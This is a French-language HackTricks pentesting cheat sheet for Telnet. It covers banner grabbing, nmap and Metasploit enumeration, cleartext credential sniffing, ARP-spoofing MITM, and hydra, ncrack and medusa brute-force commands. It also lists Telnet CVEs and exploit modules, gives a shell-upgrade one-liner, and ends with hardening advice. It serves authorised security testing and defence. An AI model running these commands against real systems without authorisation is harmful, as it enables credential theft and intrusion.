23 - Pentesting Telnet

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Telnet est un protocole réseau qui offre aux utilisateurs un moyen non sécurisé d’accéder à un ordinateur via un réseau.

Port par défaut : 23

23/tcp open  telnet

Énumération

Récupération de bannières

nc -vn <IP> 23

Toute l’énumération intéressante peut être effectuée par nmap :

nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

Le script telnet-ntlm-info.nse obtiendra des informations NTLM (versions Windows).

Dans le telnet RFC : Dans le protocole TELNET, il existe diverses “options” qui seront sanctionnées et peuvent être utilisées avec la structure “DO, DON’T, WILL, WON’T” pour permettre à un utilisateur et à un serveur de convenir d’utiliser un ensemble de conventions plus élaboré (ou peut-être juste différent) pour leur connexion TELNET. Ces options pourraient inclure le changement de l’ensemble de caractères, le mode d’écho, etc.

Je sais qu’il est possible d’énumérer ces options, mais je ne sais pas comment, alors faites-moi savoir si vous savez comment.

Brute force

Fichier de configuration

/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

Commandes Automatiques HackTricks

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Vulnérabilités Récentes (2022-2025)

  • CVE-2024-45698 – Routeurs D-Link Wi-Fi 6 (DIR-X4860) : Le service Telnet intégré acceptait des identifiants codés en dur et ne parvenait pas à assainir les entrées, permettant une exécution de code à distance non authentifiée en tant que root via des commandes élaborées sur le port 23. Corrigé dans le firmware ≥ 1.04B05.
  • CVE-2023-40478 – NETGEAR RAX30 : Débordement de tampon basé sur la pile dans la commande passwd de l’interface en ligne de commande Telnet permettant à un attaquant adjacent de contourner l’authentification et d’exécuter du code arbitraire en tant que root.
  • CVE-2022-39028 – GNU inetutils telnetd : Une séquence de deux octets (0xff 0xf7 / 0xff 0xf8) déclenche une déréférence de pointeur NULL qui peut faire planter telnetd, entraînant un DoS persistant après plusieurs plantages.

Gardez ces CVE à l’esprit lors de la triage des vulnérabilités—si la cible exécute un firmware non corrigé ou un démon Telnet inetutils hérité, vous pourriez avoir un chemin direct vers l’exécution de code ou un DoS perturbateur.

Capture de Credentials & Attaque de l’Homme du Milieu

Telnet transmet tout, y compris les identifiants, en texte clair. Deux façons rapides de les capturer :

# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

Pour un MITM actif, combinez le spoofing ARP (par exemple, arpspoof/ettercap) avec les mêmes filtres de sniffing pour récolter des mots de passe sur des réseaux commutés.

Force brute automatisée / Spraying de mots de passe

# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

La plupart des botnets IoT (variantes de Mirai) scannent toujours le port 23 avec de petits dictionnaires de mots de passe par défaut—reproduire cette logique peut rapidement identifier des dispositifs faibles.

Exploitation & Post-Exploitation

Metasploit dispose de plusieurs modules utiles :

  • auxiliary/scanner/telnet/telnet_version – énumération de bannières et d’options.
  • auxiliary/scanner/telnet/brute_telnet – bruteforce multithreadé.
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – RCE contre Telnet vulnérable de Solaris 9/10 (gestion de l’option ENCRYPT).
  • exploit/linux/mips/netgear_telnetenable – active le service telnet avec un paquet conçu sur de nombreux routeurs NETGEAR.

Après avoir obtenu un shell, rappelez-vous que les TTY sont généralement stupides ; mettez à niveau avec python -c 'import pty;pty.spawn("/bin/bash")' ou utilisez les trucs TTY de HackTricks.

Renforcement & Détection (coin de l’équipe bleue)

  1. Préférez SSH et désactivez complètement le service Telnet.
  2. Si Telnet est nécessaire, liez-le uniquement aux VLANs de gestion, appliquez des ACL et enveloppez le démon avec des wrappers TCP (/etc/hosts.allow).
  3. Remplacez les implémentations héritées de telnetd par ssl-telnet ou telnetd-ssl pour ajouter un chiffrement de transport, mais cela ne protège que les données en transit—la devinette de mot de passe reste triviale.
  4. Surveillez le trafic sortant vers le port 23 ; les compromissions génèrent souvent des shells inversés via Telnet pour contourner les filtres de sortie HTTP stricts.

Références

  • D-Link Advisory – CVE-2024-45698 RCE Telnet critique.
  • NVD – CVE-2022-39028 inetutils telnetd DoS.

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks